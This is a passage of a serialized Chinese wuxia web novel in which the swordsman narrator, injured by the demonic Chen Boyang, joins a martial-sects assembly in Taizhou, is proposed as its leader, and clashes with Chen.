据说,在陈伯洋继任括苍派掌门之前,括苍派后辈弟子中武功最强的是程文轩。他内外兼修,刀法精湛、内功高强。只可惜他出身贫寒,为人又有些迂腐,因此在年节关头与括苍派上任掌门、长老走动极少,引起了括苍派决策层的不满。在括苍派掌门、长老选拔接班人的投票中,武功最强的程文轩以最低得票出局,从此心灰意冷,醉心于钻研武功。 陈伯洋继任括苍派掌门之后,首先废除了括苍派历代传承的长老制度,将他的同门师兄弟或安置闲差,或贬出括苍派。但不知道为何,唯独为程文轩保留了括苍派长老的名号。 也正是因为这样。程文轩对陈伯洋一向忠诚,即便是陈伯洋修炼邪功,滥杀无辜,为非作恶,欠下累累血债,他也不惜一切地挺身而出,要护陈伯洋周。 一时间,没有人敢上前与武功高强的程文轩一较高下。程文轩也无心与众人争斗,他身后的陈伯洋正在抱头痛哭地哀嚎着。程文轩转身抱住陈伯洋,一 步跃上屋顶很快消失在众目睽睽之下。 “不要让括苍派的人走了!” 人群中有人大喊了一声。人们仿佛是突然醒觉了一般,一拥而上将括苍派还未来得及逃跑的数十名弟子团团围住。 刀剑出鞘,人们将压抑已久地恐惧和愤怒尽数发泄在了那些普普通通的括苍派弟子身上。很多时候,越是胆怯的人越会把积压的情绪发泄在比他们弱小的人身上。 不消片刻,括苍派的数十人被几百人打得鼻青脸肿,面目非,纷纷在地上打滚呻吟。 我搀扶着余十三,看着他痛苦的模样,心里揪成一团。周望安默默无声地走到我身旁,为余十三点穴止血,运功疗伤。 这一场噩梦在一片皎洁的月色中结束。陈伯洋走后,阴冷的空气也渐渐恢复了原有的温度。仿佛是从一个严寒的冬日转眼间变成了闷热的夏夜。 但我却始终驱不散身体内寒气。有一股阴冷的气息在我的血脉中横冲直撞,十分霸道,无论我怎么努力都无法将它压制下去。 “你没事吧?”周望安为余十三疗完伤之后,关切地问了我一句。 我勉强挤出一个微笑,说:“性命无忧,只是很难受。” “咳咳。” 几声刻意地轻咳,我感觉自己头顶的月色忽然消失了,当下心中一凛,猛地抬头却看见了司徒清尘肥胖的身躯。 月色透过他身体的轮廓,司徒清尘仿佛是镀上了一层银边。他开口说道:“呃,许久不见,姬.....姬兄弟可好啊?” 我好与不好,难道他是看不到吗? 对于司徒清尘,我始终没有多少好感。我摇了摇头,继续调息。司徒清尘似乎是觉得有些尴尬,他又咳了两声,抬起头看了看月亮,自言自语道:“真是奇了,不知陈掌门到底是练了什么邪门武功,竟变成了那副模样。”说罢,若无其事地走开了。 “姬兄弟。”周望安说,“你放出在巷子中与我所说之事,可都是真的?” 我说:“难道到了这个时候,你仍旧不肯相信我吗?” 周望安低头沉吟,片刻后,重重点头道:“我信。只是如今陈伯洋厉害得紧,你可有什么办法?” 我说:“没有。若有办法,我方才便已经杀了他。” “这......可如何是好。”周望安满脸忧色。 又经调息,我感觉体内的阴寒之气仍旧不能被压制。它们在我体内乱窜,惹得我异常难受。这股气息虽然令我痛苦,但我确信它不会要了我性命。 为今之计,只有先行离开,找一处僻静的地方再想办法了。我勉力站起身来,扶住已血色无的余十三,轻声问了句:“能走吗?” 余十三点了点头。我冲他微微一笑,说:“我们走。” 刚迈出两步,忽然听到身后的人群中传来一个声音:“不如我们再比试一场可好?!” 第一百九十九章 盗王 ()1. 不如我们再比试一场可好? 这样的一句话让许多和我一样想要离开的人驻足。所有的人将目光投向了那个不期然而出现的身影。蜡黄脸,一字眉,话说之人正是自称盗王的李霄汉。他以一种挑衅的目光盯着站在他不远处正欲离开的陈元彪。 陈元彪停下了脚步,他转身瞪了一眼李霄汉,说:“你要跟我比试?” 李霄汉说:“莫非在这场中还有什么别的人值得我去下战帖吗?” 司徒清尘满脸不悦,他冷哼一声,说道:“李先生好生狂妄,难道众多江湖英雄在此,也都不值得与你一战吗?” 李霄汉瞥了司徒清尘一眼,说:“司徒掌门想要加入,我自然没有意见,只是我们盗门的比试,司徒掌门也要参与吗?” 司徒清尘一怔,立时扭过头去,说道:“鸡鸣狗盗,老夫才不屑与你......” 话未说完,李霄汉的手上却多了一条裤子。 司徒清尘低头一看,登时气得浑身发颤,眉毛几乎都要竖起来。他提起手中的银枪,抢尖儿直指李霄汉的咽喉,骂道:“小贼狂妄,吃我一枪。”说罢,银枪乱颤,如毒蛇出洞刺向李霄汉。 李霄汉调头便跑。他是盗门出身,除却手上偷盗的手法出神入化,脚下的轻功也是不俗。司徒清尘本就肥胖,他连刺十抢不中,已是累得满头大汗。 在众目睽睽之下,不知是羞得还是累得,满脸通红,双目几乎要喷出火来。突然,司徒清尘倒栽枪头,抢尖儿戳地,在地上一挑,登时飞起几块碎石。 碎石急速飞出,射向李霄汉。李霄汉终于露出了紧张的神色,连续几个转身才险险地躲过去,站定身子时脸色已微微发白。 南华派的枪法虽然传承不济,但司徒清尘毕竟是一派掌门,其本领自然是远在只会偷盗的李霄汉之上。他把握战机极为精确,李霄汉片刻慌乱被司徒清尘捕捉。银枪如蛟龙出水,奔腾而去,同时枪身极快地抖动着,仿佛有十几根银枪同时发出。 李霄汉面色铁青,或许这个时候他已经开始后悔自己出言不逊得罪了司徒清尘。眼看着李霄汉就要被司徒清尘的银枪捅成筛子,他却有意无意地看了我一眼,随即身形一动,已极快地速度晃到了我的身后。 司徒清尘倒转枪尖儿,一招没有马的回马枪直向我刺来。枪尖儿在我面前一尺停下,我没动,司徒清尘也没有再动。 “姬兄弟,这毛贼口出狂言,我要好好教训教训他,你不要插手。”司徒清尘语气中略带威胁。 他越是这样,越是令我讨厌。我又没做什么,是李霄汉自己躲到了我身后,有什么话他不能好好跟我说呢? 我说:“我偏要插手,你能拿我怎么样?” 司徒清尘愣住了,他或许没有想到我会给他这样一个答复。当年的我的确与他实力相差太远,但如今的我却没有任何畏惧他的理由。 “莫非你成心要与我南华派作对?” 有些人就是这样,本来是自己和另一个人的事却动辄要搬出门派来,刻意将矛盾升级。李小谦说,他们那个年代里有一 个特别贴切的词语形容司徒清尘的这种行为,叫上纲上线。 既然他执意如此......我说:“是。” 这一句话公然得罪了所有的南华派人,他们悄然攥紧了手上的长枪,向我迈进一步,大有要一拥而上将我毒打一顿的气势。 司徒清尘有些得意。他嘴角一扬,说:“姓姬的,当年你勾结朝廷,挑拨各大门派争斗,逼得五大门派一齐造反,致使江湖半壁沦丧。如今你再度出现,竟公然不把江湖武林放在眼中,今日我南华派一门便要替五大门派报仇,替江湖武林除恶。” 我真的无法理解。明明就是他先拿枪尖儿指着我,为何竟他三言两语就成了我不把整个江湖武林放在眼中。 但我也不愿意花心思去理解。因为为不值得的人,不值得的事耗费心神与口舌,总归都是不值得。 我说:“懒得理你。”转身就要离开,却见眼前银光一闪,银枪横扫而过。我向后一仰,虽是躲过了司徒清尘的突袭,但刚刚被勉强压制的寒气顿时又涌遍身。 “休想离开!” 司徒清尘大喝一声,银枪蛇舞,左手虚握,枪杆一进一出,招招刺我要害。我左右闪躲,心中已是怒到了极点。 “铮!” 红影闪动,血芒剑应声出鞘。猩红的剑刃贴着银枪擦除一串火花,一招扫开长枪,下一招便抵住了司徒清尘的咽喉。本来快要冲上来的南华派弟子立时刹住了脚步,再也不敢向前一步。 “姬兄弟手下留情。”周望安大声喊道,他上前紧紧攥住我手臂,说,“司徒掌门毕竟是南华掌门,江湖地位尊重,你不可以伤他性命。” 我不禁冷笑,反问周望安:“他要取我性命时,你为何不管?” 周望安被我一语问得语塞,他怔怔地看着我,半晌说不出话来。我摇了摇头,说:“我无意杀人,更不想与任何人为敌。我说过,我只是想找回我的女儿。” 2. 当夜,我带着余十三离开了台州城。与我一同离开的,还有那个自称盗王的李霄汉。直到我们离开,陈元彪依旧没有答应他的挑战。对此,李霄汉一直耿耿于怀。 “陈元彪这个奸诈小人,无胆鼠辈,简直有损我们盗门的颜面。”李霄汉跟在我身后骂了一路。 余十三听不下去了,他冷冷地说:“自己没有本事,就不要絮叨,惹得人心烦。” 李霄汉瞪起眼睛,嚷道:“毛头小子,你竟然说我没有本事。那陈元彪趁我之危,胜之不武。若论真本领,他岂是我的对手?!” 余十三毫不留情,说:“输了就是输了。” 李霄汉大怒,快步上前拦在我们跟前,指着余十三威胁道:“你再敢胡言乱语,信不信老子把你另一只胳膊也拧下来?” 我一剑抵住李霄汉的心口,说:“他伤得很重,你若敢动他一下,我一定会杀了你。” 李霄汉脸涨得通红,他瞪了余十三一眼,极不情愿地躲到了一边,喃喃念道:“看着姬大侠的面子上,我不与你计较。” 我搀扶着余十三继续向前走,我不知道我们要去哪 里。但我必须尽快找到一个安的地方,一则让余十三养伤,二则我身体里那股阴冷的寒气已愈发难以压制,我需要尽快地调息,设法将寒气逼出体外。 “姬大侠准备去哪里?”李霄汉跟在我身后像一只惹人厌烦的苍蝇。 我没有理他。他竟然又絮叨起来:“我看你这小兄弟伤得不轻,再走下去,只怕不出五里便要气绝血枯了。” “你到底有没有再听我说话?” ...... “你如此态度实在对我太不尊重了。” ...... “罢了,罢了。看在你救我一命的份上,我不与你计较。不如......我带你们去一个可以养伤的地方?” 我停下脚步,问:“哪里?” 李霄汉神秘一笑,眯起眼睛,与他那浑然天成的一字眉并齐成两道横杠,看起来十分滑稽。若不是此时气氛有些沉重,我想我一定会笑出来。 “五里坡。”李霄汉缓缓说道。 我说:“在哪里?” 李霄汉抬手一指,说:“向东五里。” “五里?”我说,“你刚才说过,十三他再走五里便会气绝血枯。” 李霄汉嘿嘿一笑,说:“略作夸张,只是要说明他伤情严重,并非真会如此。” 3. 台州城外五里坡。一个荒村,莫说人影,就连鸟兽也见不到,甚是凄冷阴森。 一家破旧的宅院里,余十三斜倚在墙上,脸上毫无血色。幸亏周望安为他封住了几处穴道,余十三的伤口已不再流血,只是断臂之痛由内而外,常人根本无法承受,况且他还不过是一个十四岁的少年。 “只怕我今后都不能再拿剑了。”余十三的眼睛里第一次露出绝望,他说,“我也不会练成像你一样厉害的武功。” 我心中又是一阵酸楚,安慰他说:“你还有左手,一样可以练剑。” “不错。”李霄汉随声附和,说,“我偷人东西的时候,从来都是用一只手。” 我说:“你住口。” 李霄汉根本不肯住口,仿佛不说话对他来说是一种奢求。他蹲到余十三身边说:“我见你年纪轻轻,反应却很快,不如入我神偷门,我可以将我这一身绝技毫无保留地传授给你,做不了剑圣将来可以做盗圣,你意下如何?” 余十三嘲笑道:“盗圣?去偷人底.裤吗?” 李霄汉登时满脸通红,叫道:“休要再提此事。此生我不找陈元彪夺回盗圣之名,我李霄汉是不为人!” 余十三又说:“你分明就是被人偷了底.裤,为何不让人提?” 李霄汉大口喘气,一副愤愤难平的模样,说:“我外衣尚在,怎可能被人偷了底.裤,世间哪有这等神技?! 我不解,问:“那陈元彪手上的底.裤是哪里来的?” 李霄汉咬牙切齿道:“怪我我平素里不喜欢穿那等无用之物,我在大船上撒尿时恰好被陈元彪发现,所以他事先准备了一条底.裤带在身上,又在宽巷中有意出此题目比试!这个奸诈小人!” 第二百章 屠魔 1. 台州城外五里坡。 我和余十三在这里一住便是一个月。这些日子里,余十三的伤势渐渐好转。人身体上的伤可以愈合,但心里的伤痛却是很难抹去的。 坚强如余十三这样的人,看到自己残缺的手臂,也时常怔怔发呆,眼神中略带忧伤。只是,他从来不肯将心里的事说出来。 李霄汉隔三差五便会来五里坡,一则是为我们带来一些食物,二则是为我们带来江湖上的消息。 这日,李霄汉告诉我,七日之后,各大门派将再聚台州城,共商屠魔大事。 屠魔。 他们眼中的魔无非就是已经练了摩诃钵特摩咒的陈伯洋。月前那夜,陈伯洋被他师弟程文轩救走之后,便再也没有了消息。 据说曾有门派大胆前往括苍山打探消息,但终究是一无所获。括苍派已经荒废,派中弟子大都已经四散逃亡,整个山上只剩下几个不中用的老弱病残。 一本摩诃钵特摩咒,却让括苍派百年基业毁于一旦。 无论是屠魔大会,还是括苍派,都不是我关心的事。我在意的只有纾瑶的生死。那日,陈伯洋虽未明说,但他言语间的大概意思是,纾瑶已经造他毒手。 这段日子,我思前想后,觉得这件事并不可信。藏龙涧中,陈伯洋与纾瑶相处的画面恍如昨日一般清晰,那时候陈伯洋对于纾瑶的喜爱溢于言表。即使陈伯洋已经练功练得发狂,但我仍不愿相信他会对无辜的纾瑶痛下杀手。 最重要的一点,是我至今无法想通。陈伯洋离开藏龙涧时,武功尽失,自保都十分艰难。他偷走了摩诃钵特摩咒的秘籍便罢,为何还要带走纾瑶? 他当时到底是如何打算的? 这些事情都需要我一一弄个清楚。所以,在谜底解开之前,我不会轻易相信纾瑶已死。除非......我亲眼见到纾瑶的尸首。 “陈伯洋那老头到底练得是什么邪门武功?”李霄汉已经不止一次地问我这个问题。 我始终没有告诉他。我说:“这不管你的事。” 李霄汉说:“那本秘籍和你有什么关系吗?” 我说:“我不告诉你。” 李霄汉摸着下巴,说:“本来我想要和陈元彪打赌去偷那本秘籍的。可惜那奸诈小人陈元彪死活不肯应战。” 我忽觉得眼前一亮,问:“你可以偷到那本秘籍?” 李霄汉瞥了我一眼,自信满满地说:“天底下没有我偷不到的东西,除了情。” 我不禁好奇,问:“为何你不偷情?” 李霄汉刚想说话,却听余十三说道:“因为长得丑。” 我呵呵一笑,却见李霄汉已憋得满脸通红,他霍地站起,指着余十三叫道:“臭小子,老子已忍你很久了,你莫要一再挑战我的底线。” 余十三不屑地说:“至少我不会挑战你的底.裤。” 李霄汉终于忍无可忍地爆发了,他气得哇哇直叫,撸起袖子向着余十三扑去。 我眼见李霄汉要对余十三动手,怕他不知轻重打伤余十三,慌忙抽剑去阻挡。但我还未出手,却见余十三从地上抓起一颗石子向着李霄汉一掷。 李霄汉躲闪不及,石子正好打在他的胸口。他向后退了两步,捂着胸口,闷哼一声,表情极度痛苦: “你,你这个臭小子!” 我拦住李霄汉,说:“好了,你不要再与他计较了。” 李霄汉看了我一眼,又看了看我手中的剑,一跺脚,愤愤然走了出去。 2. 七日,转眼即到。 虽然不感兴趣,但我还是忍不住去了台州城。 余十三想要与我一同前去,但他重伤才愈,我担心他会有危险,便坚持让他留在了五里坡。 李霄汉是个闲不住的人。他自然与我一同钻进了台州城,想要一睹江湖屠魔大会的风景。他大摇大摆地走在早已空空荡荡的街道上,说:“不知各大门派的人会想出什么好办法来制服陈伯洋这个魔头。” “我见他们那些人武功比起你来可差得不少。那日你身受重伤,却仍能在两招之间打败南华派的司徒清尘,当真是厉害!” “唉,你的伤怎么样了?” 李霄汉的嘴巴片刻不肯停歇。不过,被他问到伤情,我不禁又是一阵担忧。那日遭受陈伯洋三掌之后,体内莫名多出了一股阴寒之气。这一个月来,我每日打坐调息,想要将那股寒气逼出体外。但不想那寒气却调皮得很,我想将它从气海穴逼出,它却一涌跑到了期门。我再运功到期门穴,那寒气却顺任脉而下直冲会阴.穴,弄得我双腿之间异常难受。 无奈之下,我得以自身内力将这股寒气逼到不太重要的承扶穴,并将它封在了那里。身体虽然不在受这股寒气影响,但总会觉得屁股一阵阵地发凉。 余十三近来也多次问我:“你为什么总是烤自己的屁股?” 我无从向他解释,只得默不作声地把屁股从火堆上挪开,默默地忍受寒冷。 街道尽头,一个人影出现。我定睛一看,却见是柳无风向我走了过来。 “你怎么来了?”我问道。 柳无风说:“奉命前来。” “奉命?”李霄汉好奇地凑到柳无风跟前,问,“奉何人之命啊?” 柳无风瞥了他一眼,问:“你是何人?” 李霄汉一拍胸脯,傲然道:“盗王李霄汉是也。” “嗯?”柳无风眉心一锁,道,“你就是那偷了秦相寿礼的毛贼?” 李霄汉打量了柳无风一遍,登时警惕起来,向后退了几步,道:“是盗王,不是毛贼!” 柳无风冷哼一声,沉吟片刻,说:“盗得好!” 李霄汉一怔,又将柳无风一遍打量,问:“敢问兄台高姓大名?” 柳无风说:“你不必知道。” “你!”李霄汉面带愠色,指着柳无风想要发飙。 我不愿看他们无意义的争执,便再问柳无风,说:“你来台州城到底有什么事?” 柳无风说:“找你。” 找我? 我问:“找我何事?” 柳无风瞥了李霄汉一眼,说:“你!走远一些!” 李霄汉自然是不肯,他嚷道:“我凭什么听你的?” 柳无风瞪了他一眼,拉住我的胳膊,说:“那我们走远一些。” 我和柳无风走出去十几米,李霄汉站在原地,满脸不屑。柳无风问:“当日你匆忙离开,可是知道这台州城里到底发生了什么?” 我说:“是。括苍派陈伯洋当日 坠崖在藏龙涧被我救下,那时他武功尽失,我好心帮他,但他却偷走了我的一本秘籍。” 柳无风问:“也是他掳走了你的女儿。” 我说:“不错。” 柳无风问:“那你可找到了你的女儿。” 我心里一阵失落,摇头道:“没有。” 柳无风稍稍沉吟,说:“如今台州城已成一片死城,各大门派又在此聚集。圣上大为恼怒,命你深入屠魔大会控制局面,以免各大门派伺机作乱。” 我说:“他们的目标不是作乱,是要除掉陈伯洋,为江湖武林除害。” 柳无风说:“陈伯洋要除,但各大门派也要防。” 我问:“我要怎么做?” 柳无风说:“月前我在临安府遇到你一位故人。他知晓你如今的处境,决意前来帮你。相必此时应当已经到了台州城了。” 我的一位故人? 我问:“是谁?” 柳无风说:“陆游。” 竟然是他。我心中莫名泛起一阵暖意。毕竟是旧友,即便是他有他的无奈,但在我危难之时,他仍然会不愿千里地前来帮我。 我问:“他在哪里?” 柳无风说:“我不知道,你自己找吧。” 我说:“你要去哪?” 柳无风说:“我是朝廷中人,皇上不叫我插手江湖之事。只叫我传旨给你,如今我差事已经办完了,理应即可回京复命。”说罢,柳无风转身离开了。不知是否有意,他竟然从李霄汉身旁走了过去。 两人目光短暂相交,彼此冷哼一声,擦肩而过。 3. 柳无风的背影消失在街的尽头。 李霄汉嬉皮笑脸地走了过来,满脸得意洋洋。 我问他笑什么。他也不答,只是伸手举起一个钱袋。 我问他:“你偷了柳无风的钱袋?” 李霄汉点了点头,说:“原来他叫柳无风。” 我突然开始担心柳无风。以他那样视财如命的性格,若发现自己的钱被偷了,不知道会陷入怎么样的痛苦和疯狂之中。 李霄汉将钱袋收入怀中,说:“我们走吧。” 台州城风月楼。 这里曾经名满台州的妓院,一向门庭若市,燕舞莺歌,热闹非凡。 如今这里还是人山人海,好不热闹。只是,再也没有了莺歌燕舞。 风月楼的姑娘们早就已经逃跑了。这里聚集的是各大门派的人。 放眼台州城,多少空闲的高门阔院,也不知道是谁最终选择了这样一个地方召开屠魔大会。 李霄汉踮着脚尖,向风月楼里张望,嘴上不停地抱怨:“怎么这么多人?可要如何进入呢?” 而我却再也没有心思关注风月楼前摩肩接踵的人群。因为我已经被风月楼上一个孤单的身影所吸引了。 他笔直地站在风月楼上远眺。楼顶的风很大,吹动他的衣袂飘然若神,就如同七年前他站在大理寺外燕莺阁顶一样。 作者说:新书《笑谈五代史》已发布。没有申请签约,暂时对该书没有什么信心,所以发出来先给几位读者看看。麻烦各位抽出宝贵的时间,给点建议,看看有没有写下去的必要。苇孜在此感谢。 第二百零一章 争执 风月楼内并无风月,却是风起云涌。 几声呼喝,三道人影跳跃而出。 周望安、司徒清尘、慕容顺,三人一剑、一枪、一扇相持站立。 司徒清尘道“论江湖辈分,我乃是你二人的长辈,屠魔之事,你们自然要听我的。” 慕容顺冷笑道“司徒掌门此言差矣,若是论年纪辈分,我庄上打杂的老刘今年八十有四,不如我把他请来,我们都听他号令如何?” 周望安寸步不让,道“我龙虎帮看门的老李,今年八十六,还是听他的吧。” 司徒清尘气得满脸通红,一言不发,手中的抢擦过地面发出“呲呲”的响声。 围观的人群被拨开一道口子,一个四方脸的汉子缓步走了过来,他向三人抱拳行礼,道“各位不要争了,我们今日的目的是共商屠魔大事,维护江湖安宁,怎能自起矛盾?” 这人正是青云门的武炼。江湖上人尽皆知,易小心自从做了青云派掌门之后,整日神龙见首不见尾,颇有白景行遗风。门派中的大小事务,也都是由大师兄武炼主持。这日的屠魔大会,易小心依旧没有出现,正是武炼带着青云门一众弟子赶来。 但武炼毕竟不是青云派掌门,他在青云派中声望再高,也很难得到其他门派的认可。 司徒清尘被慕容顺与周望安联合挖苦,心中愤懑难泄。武炼的出现,为司徒清尘了一个很好的发泄口,他大声喝道“你算什么东西,这里哪有你说话的份?!” 武炼眉头一皱,怒色跃于脸上,道“司徒掌门,我青云派曾为公认的南派武林之首,即便是家师辞世多年,但我青云派的失力却未有减损,难道在这屠魔大会上连说话的资格都没有吗?不知是你司徒掌门自视江湖前辈,瞧不起我们这些后生晚辈,还是你以为南华派近年来发展迅猛,瞧不起我青云派?” 听了这样的话,我再次感慨,明明是两个人言语不和,为什么总是要上升为门派之间的矛盾?难道这么做就真的有利于问题的解决吗? 果然,矛盾进一步激化。司徒清尘提起长枪,骂道“你算什么东西,竟然也轮得到你教训老夫?” 慕容顺慢摇折扇,从旁挑拨“也算不得教训,武师兄不过是说了些心里话。” 周望安憨声说道“确是有感而发。” 司徒清尘大怒,原本是三个人的矛盾,只不过是三眼两语之间就成了司徒清尘与武炼之间的矛盾。 司徒清尘大叫一声“小子,看枪!”银枪“嗖”的一声刺向武炼,武炼急促后退,以看家本领凝气成剑,向司徒清尘连发连射,一时间二人打得不 可开交。 慕容顺不甘寂寞,手中折扇“噗”的一声合上,大声说道“周帮主,我们也不要闲着了。” 周望安应声如吼,叫道“来吧。” “乒乒乓乓”“嗖嗖唰唰” 风月楼外四人打成一片。 这时,伫立在高处观望的陆游踏轻功而下,落在我身旁,说“姬兄,别来无恙。” 我说“无恙,你呢?” 陆游笑了笑,说“还好。” 我两人不再寒暄,只在一旁默默观战。但李霄汉却显得十分激动,他就想是一个从没有见过热闹的孩童,表现出了异常地兴奋。 “好!” “刺他!” “唉唉唉,快躲开!” 陆游看了李霄汉一眼,问“这位仁兄是” 我说“他叫李霄汉。” “错!”李霄汉瞪起眼睛,说,“是盗王李霄汉。” 陆游拱手道“失敬失敬!在下陆游。” 李霄汉豪气地向陆游一抱拳,说“幸会!”而后继续专心致志地看比试。 陆游摇头苦笑,问“柳大人可曾向你说了?” 我说“你指的什么?” 陆游说“当然是圣上的旨意。” 我点了点头,说“他已经告诉我了。可是” “姬兄有何难处?”陆游问。 我说“他叫我防备各大门派趁机作乱。可我不知道怎么才算作乱,又应当如何防备。” 陆游说“他们再这样打下去只怕会引起更大的麻烦,姬兄此时应当出手了。” 我深吸了一口气,摸了摸屁股触手冰冷。 陆游问“姬兄还有顾虑?” 我羞于启齿,我总不能告诉陆游说,我体内有一股寒气无法逼出,最终被我封在了屁股上。我只有硬着头皮,大喊一声“都给我住手!” 效果甚佳! 武炼的手指正指着司徒清尘的小腹准备发剑,司徒清尘早有防备横枪在腹前意欲阻挡。不远处的慕容顺一道折扇正准备击打周望安的头颅,而周望安好不防备,挺剑直指慕容顺的咽喉,大有同归于尽的意味。 但经我一声大喊之后,他们都停了下来。 慕容顺收起折扇,笑道“这不是姬大盟主嘛。多年不见,竟也跑到台州城里来凑热闹了?” 司徒清尘放下长枪,说“姓姬的,今日乃是我四大门派共商的屠魔大会,你已身离江湖,此时与你无关。你不要多管闲事。” 我一时不知从何说起,只得迎着司徒清尘回应道“我偏要管。”料 想司徒清尘也不敢拿我怎么样。 司徒清尘自然是十分生气。在这么多人面前,我的话几乎让他颜面尽扫。 我二人对视僵持着。他不动,我也不会动。 陆游及时出面化解尴尬,他拱手抱拳,朗声说道“各位前辈,各位英雄。我虽然不是江湖中人,但也听闻了括苍派陈伯洋之事。他修炼邪功,残害无辜,这已不仅与江湖相关,乃是百姓事,是众生事。但各位英雄高义,挺身而出,共商屠魔,应当以大事为重,断不可煮豆燃萁,因小失大啊!” 有文化的人讲话着实是字字珠玑。 陆游的此言一出,司徒清尘等人竟然露出几分愧疚之色,一众看热闹的江湖人连连点头称是。 武炼说“陆兄说得有理,我们应当把争论的焦点放在如何齐心协力,诛杀邪魔上,而不是争执应当听从谁的号令。” 司徒清尘叹了口气,道“话虽如此,但我们人数众多,若无发号施令之人,只怕到时候令出多门,临阵大乱啊!” 陆游说“司徒掌门说得十分在理。但如此争斗下去,却也难免伤了和气。” 众人纷纷点头称是。 陆游又说“各位,不如我推荐一人可好?” 众人纷纷看向陆游,司徒清尘问“什么人?” 陆游面带微笑,缓缓走到我身旁,说“正是此人。” “啊?!”司徒清尘脸色大变,叫道,“这个姬旦丙?!” 所有的人都很惊讶,也包括我在内。我知道陆游会帮我,但我却想不到他会如此公然地将我推上前台。 “厉害!”李霄汉小声说道,“你又要当武林盟主了。” 尽管他说话的声音很小,但还是被周围的人听到了。尤其是司徒清尘,他十分警惕,然后暴跳如雷,对陆游吼道“我当你是讲道理的人,没想到是与这人一伙的。时隔四年,却管天下之事犹如昨日,你想再做武林盟主,简直痴人说梦!” “并非如此。”我说,“我并不想做武林盟主,当年的是也不能全算在我一个人身上。” “不算在你身上?”司徒清尘两眼通红,吼道,“难道还是我们的不是?!” “诸位听我一言。”陆游喊道,“当年之事,无论谁是谁非,都已经是过眼烟云。而当下,我们是应同仇敌忾,为武林除害。在下推荐姬兄弟,一则是他武功高强,二则是他与陈伯洋有深仇大恨,定然会不辱使命,全力以赴。” “巧言令色,巧言令色!”司徒清尘依旧不能接受,他开始鼓动其他人,说,“慕容庄主,周帮主,难道当年的事,你们都忘了吗?” “我没有忘。”周望安说道,“但我同意这位陆兄的提议。” “什么?!”司徒清尘惊讶不已,他说,“你,你……慕容庄主……” “我并无意见。”慕容顺笑道,“反正我月牙山庄声微力薄,无力与陈伯洋那等魔头对抗,既然有人愿意出头,我只管遵从便是。” “你!”司徒清尘气急败坏,“方才在风月楼中,我说要做这发号人时,你可不是这样说的。” 慕容顺呵呵一笑,道“你也说了,那是在风月楼。想必司徒掌门高风亮节,从不去青楼妓馆,也不知道男人在那种地方说的话……从来都不是真的!” 司徒清尘顿时哑口无言,他将目光投向武炼,嘴唇动了动,却终究没有说出话来。 “无论如何,我南华派绝不听你号令!”司徒清尘说,“既然如此,那我们就各尽其道吧!” 其实,我并不想做什么发号施令人,也从来没有生出过这样的想法。但这个时候。我却突然心动了。 以陈伯洋现在的武功,我绝对不是他的对手。倘若,我可以借助各大门派的力量,或许可以与他一战,甚至打败陈伯洋。 只有打败他,我才有机会逼问出纾瑶的下落。 对不住,这个江湖。我不愿如此,但我却别无选择了。 就在司徒清尘负手离开的刹那,我拔出了血芒,像血一样红的剑刃散发出杀戮的气息。 (本章完) (教育123文学网) 第二百零二章 交锋 1. 我喊了一声,站住。 司徒清尘当即顿足,缓缓转身看着我,疑惑道:“你还有何事?” 我说:“你不能走,你必须跟我一起去找陈伯洋。” 司徒清尘冷笑,说:“跟你一起?笑话!若你想让我南华派听你号令,我劝你趁早打消这样的念头!除非......” “除非怎样?”我问。 司徒清尘说:“除非你杀了我。” 我将血芒剑一横,说:“好!如你所愿!” 6游一把拉住我手臂,在我身旁悄悄地说:“莫要强求,随他去便是了。” 也许6游的提示是正确的,但很可惜,我并没有听从他的劝告。 血芒剑在手,我感觉自己的血液正在一点点的沸腾。有一种莫名奇妙的冲动让我不想就此放过眼前的这个胖子。 很显然,经过上次一战,司徒清尘对我有所畏惧。他虽然不肯当众表露,但他提着枪犹豫不决的样子,已经将他的心思彻底地出卖了。 南华派大约百十名弟子不约而同的站了出来。他们齐聚在司徒清尘的身后,眼神中充满了敌意。 司徒清尘说:“今日屠魔大会乃是我南华派一力召集,为的不过是为江湖求取一些安宁。既然大家无法达成共识,最好是各行其道。还望姬兄弟不要强求。” 他的话我听得很清楚。但不知为什么,我却有些控制不住自己。我说:“你必须和我们一起!” 6游拦住我,说:“姬兄,不可如此!” 我大力将6游推开。猩红光芒闪烁,司徒清尘脸色大变,提起手中银枪,凝神戒备。 就在我几乎失控的时候,忽然,四周阴风骤起,一声狰狞的笑声传来,让人只感觉毛骨悚然。 众人纷纷抬头。我循声望去,之间一道灰影,披头散,伫立在风月楼上。 就是6游刚刚站立的那个位置。陈伯洋低头凝视着我们,就像是不可一世的邪神俯瞰着如草芥一般的众生。 “屠魔大会?!”陈伯洋笑道,“就凭你们?!” 话音刚落,陈伯洋化成一道红影一闪落入人群。人们惊慌失措,纷纷后退躲避,唯恐陈伯洋那双冰冷的手掌触碰到他们的身体,然后将他们打成一具冰尸。 我的血液已经彻底沸腾了,一股强烈的怒气不可抑制地直冲头顶。我大喊一声:“你来得正好。”横剑杀了过去。 陈伯洋不慌不忙,看似绵软无力的一掌确实阴寒刺骨。虽然他手掌并未触碰到我身体,但仅从掌心出的寒气便以让我难堪忍受。 离他近些的人被这股寒气波及,瞬间凝结了一层白霜。更有人轰然倒地,再看时已经是一具冰冷的尸体。 恐怖! 除了这个词汇我无法形容陈伯洋这一掌所带给我的感觉。不过是一个月的时间,陈伯洋的功力比起月前更加厉害。 当日是黑夜,乌云闭月,阴气盛极,对于摩诃钵特摩咒这种阴寒武功来说,正逢天时。但这个时候,却是白日,艳阳高照的白日! 陈伯洋似乎丝毫不受影响,所出的掌风只将周围的一切拖入了寒冷的冬季。 我再次提剑冲了过去。陈伯洋手心向下一沉,手上竟然多出一把晶莹闪亮的冰刀。他向上一挥,冰刀却又瞬息不见了踪影。 我正诧异,忽然只感觉后背一凉,一把极寒的冰刀从我后背穿胸而出。 剧烈的疼痛让我再也无力使出任何招式,我只得怀着满腔的愤怒趴在地上,死死地盯着陈伯洋。 就这么结束了吗? 绝不! 这是屠魔大会!围在陈伯洋身边的还有一千多名江湖人,他们之中不乏许多顶尖的高手,若是同心协力,未必不能制服陈伯洋。 我目光投向他们,说:“杀,杀了他!” 没有人敢动一下。他们只是在后退,一步一步,一点一点地后悔。除了6游,他快步冲了过来,6家的轻功步伐绝妙,度奇快,一晃之间6游已将我拉倒数十米之外。 “你怎么样?”6游将我扶住,满脸担忧。 我说:“还死不了。” 然后,我强忍着疼痛冲着场上的人喊道:“快,快上啊!别等他动手!” 依旧没有人肯动。 不是说要让我做号施令之人吗?为何我几乎是要央求他们了,却没有一个人肯听我的命令?我看慕容顺,他刻意地将目光移向了别处。我看司徒清尘,他凝神戒备着,脚下却在不停地向后倒退。 